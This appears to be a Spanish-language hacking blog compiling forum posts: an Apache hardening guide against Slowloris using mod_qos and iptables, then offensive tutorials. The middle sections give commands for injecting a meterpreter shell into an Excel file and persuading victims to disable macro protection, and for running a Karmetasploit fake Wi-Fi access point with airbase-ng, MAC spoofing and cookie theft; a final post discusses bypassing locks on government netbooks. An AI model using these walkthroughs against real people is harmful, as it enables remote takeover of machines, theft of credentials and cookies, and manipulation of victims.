[A]NTRAX - [L]ABS

Hace un tiempo me mude a CentOS, despues de pasar por varias distros GNU/LINUX, lo primero que hice fue montarme mi servidor web Apache, y todo andaba muy bien, hasta que llegamos a la parte de la seguridad... Aqui me encontré con un problema, el servidor Apache es facilmente derribado, a pesar de tener algunas reglas iptables que en internet son facilmente encontradas, y si no podemos leer un poco sobre configuraciones iptables en este post, ya que con Mod Security y Mod Evasive no era suficiente para detener un ataque del poderoso Slowloris, del cual Apache es victima desde el 2009, y lo sigue siendo hasta el dia de hoy ya que no se ha encontrado una solucion concreta al problema.

En la busqueda de una posible solucion, me encontre con un mod muy interesante y el cual "mitigo" en gran magnitud un ataque de Slowloris a mi servidor Apache, este mod se llama "MOD_QOS, y a continuación voy a detallar los pasos para instalarlo:

yum install openssl-devel.x86_64

yum install pcre-devel.x86_64

yum install httpd-devel.x86_64

Descargamos el mod desde acá y una vez descargado, lo descomprimimos:

tar -zxvf mod_qos-10.15.tar.gz

Y luego vamos a su contenido escribiendo lo siguiente:

cd mod_qos-10.5

Luego ingresamos al directorio de apache

cd apache2

Ejecutamos la compilación

apxs -i -c  mod_qos.c

Ahora editamos el archivo de configuracion de Apache

vim /etc/httpd/conf/httpd.conf

Y se inserta la siguiente línea para el módulo del mod_qos:

LoadModule qos_module /usr/lib64/httpd/modules/mod_qos.so

Creamos un archivo de configuración de nombre mod_qos.conf:

touch /etc/httpd/conf.d/qos.conf

Insertamos las siguientes líneas en el archivo de configuración recién creado:

vim /etc/httpd/conf.d/qos.conf

    ## QoS Configuracion

    

    #Manejo de conexiones hasta 100000 IPs diferentes

    QS_ClientEntries 100000

    # Se permite solamente 50 connexiones por IP

    QS_SrvMaxConnPerIP 50

    # Maximo numero de conexiones TCP activas 256

    MaxClients              256

    # Desactivar la directiva keep-alive cuando el 70% de las conexiones TCP estan ocupadas:

    QS_SrvMaxConnClose      70%

    # Minimo de velocidad para peticiones / respuestas (niega a los clientes lentos que bloquean el servidor ,

    #Ejemplo; el script slowloris mantiene las peticiones HTTP :

    QS_SrvMinDataRate       150 1200

    # Limite de peticiones de encabezados y cuerpo (con cuidado, limita las cargas y las peticiones POST):

    # LimitRequestFields      30

    # QS_LimitRequestBody     102400

Finalmente reiniciamos el servicio con el siguiente comando:

service httpd restart

A demás vamos a agregar esta regla iptables:

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 40 -j DROP

Con esto podremos disminuir considerablemente los ataques que se reciban al servidor. Este labs fue montado en una VPS con la siguiente velocidad:

Este post fue realizado por ZanGetsu en el foro. Para consultar o saber mas sobre el tema, haz click acá

Es una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

* Una Maquina (virtual o real) con Windows
* Microsoft Excel
* Perl
* El modulo Win32:OLE para Perl
* Un archivo XML a infectar
* El XLSInjector
* y por ultimo el Metasploit Framework

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:

perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

iniciamos la consola del metasploit:

set payload windows/meterpreter/bind_tcp
set RHOST ipdelpcvictima
set RPOT 4444
exploit

Este post fue realizado por Stuxnet en el foro. Click aca para ir al post original y postear tus dudas

Karmetasploit sirve para crear puntos de acceso falsos, capturar contraseñas, recopilar infomación, y llevar a los ataques de navegador contralos clientes.

Cuando un usuario se conecta a nuestro AP Fake, la dirección IP la estará asignando el servicio DHCP, y posteriormente karmetasploit intentará ejecutar todos los exploits sobre la maquina objetivo en busca de alguna vulnerabilidad e intentará conseguir una sesión meterpreter.

Descargamos Karmetasploit

Instalamos dhcpd3-server

sudo apt-get install isc-dhcp-server

Una ves instalado procederemos a configurarlo, Quedando de la siguiente manera.

#
# Sample configuration file for ISC dhcpd for Debian
#
# Attention: If /etc/ltsp/dhcpd.conf exists, that will be used as
# configuration file instead of this file.
#
#

# The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages ('none', since DHCP v2 didn't
# have support for DDNS.)
ddns-update-style none;

# option definitions common to all supported networks...
option domain-name "10.0.0.1";
option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
#authoritative;

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# No service will be given on this subnet, but declaring it helps the 
# DHCP server to understand the network topology.

#subnet 10.0.0.0 netmask 255.255.255.0 {
#}

# This is a very basic subnet declaration.

#subnet 10.0.0.0 netmask 255.255.255.0 {
#  range 10.0.0.100 10.0.0.254;
#  option routers 10.0.0.1;
#}

Luego procedemos a editar /opt/backbox/msf/data/exploits/capture/http/sites.txt donde están almacenados todos los sitios en los que metasploit intentará robar cookies. Ahora comenzamos poniendo nuestra tarjeta en modo monitor, en mi caso es la wlan0

airmon-ng start wlan0

Se activará así la interfaz mon0 la cual podemos cambiarle la dirección MAC si lo creemos necesario:

ifconfig mon0 down && macchanger -r mon0 && ifconfig mon0 up

Una vez que la interfaz está lista ya podemos crear nuestro punto de acceso con la ayuda de airbase-ng, tecleemos lo siguiente en la consola:

airbase-ng -P -C 30 -c 6 -e “red_falsa” mon0

Donde mon0 es nuestra tarjeta en modo monitor y “red_falsa” es el nombre que queramos darle a nuestra red. Este paso anterior nos creará una nueva interfaz llamada at0 a la cual vamos a darle una ip y activamos el servidor dhcp desde otra terminal:

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
dhcpd -cf /etc/dhcp/dhcpd.conf at0

Ahora iniciamos mestasploit con karma.

msfconsole -r karma.rc

Al iniciar karmetasploit les aparecerá:

Este post fue hecho por Stuxnet en el foro. Para dudas o consultas, sobre este tema, hacé click aca.

He visto que muchos usuarios aun quieren desbloquear las netbooks del gobierno puenteando las patas del chip TPM. El metodo sigue vigente, pero SOLO para las netbooks del año 2011 - 2012 y algunas del 2013.

A partir del 2013, cambiaron el chip, dificultando asi su desbloqueo.
Investigando un poco en internet, me tope con esto:

Rompiendo el mito del desbloqueo ilegal:

se estima que un 10% de las primeras computadoras que se entregaron vinieron con fallas de fabrica y debido a este inconveniente se podian desbloquear temporalmente (no en su totalidad).

En las nuevas computadoras se corrigio este error y tienen el doble de seguridad: se les agrego un interruptor DIP y se presume que otro chip alterno que controla la secuencia de arranque; lo que basicamente hace esta nueva seguridad implementada es que si alguien interrumpe el ciclo normal de arranque la pc tiende a autoapagarse mostrando una pantalla negra que no llega ni a encenderse..
La UNICA forma de desbloquear las netbooks ahora, es termiando el ultimo año del secundario. En caso de que encuentre alguna forma nueva para desbloquearlas, lo estaré posteando.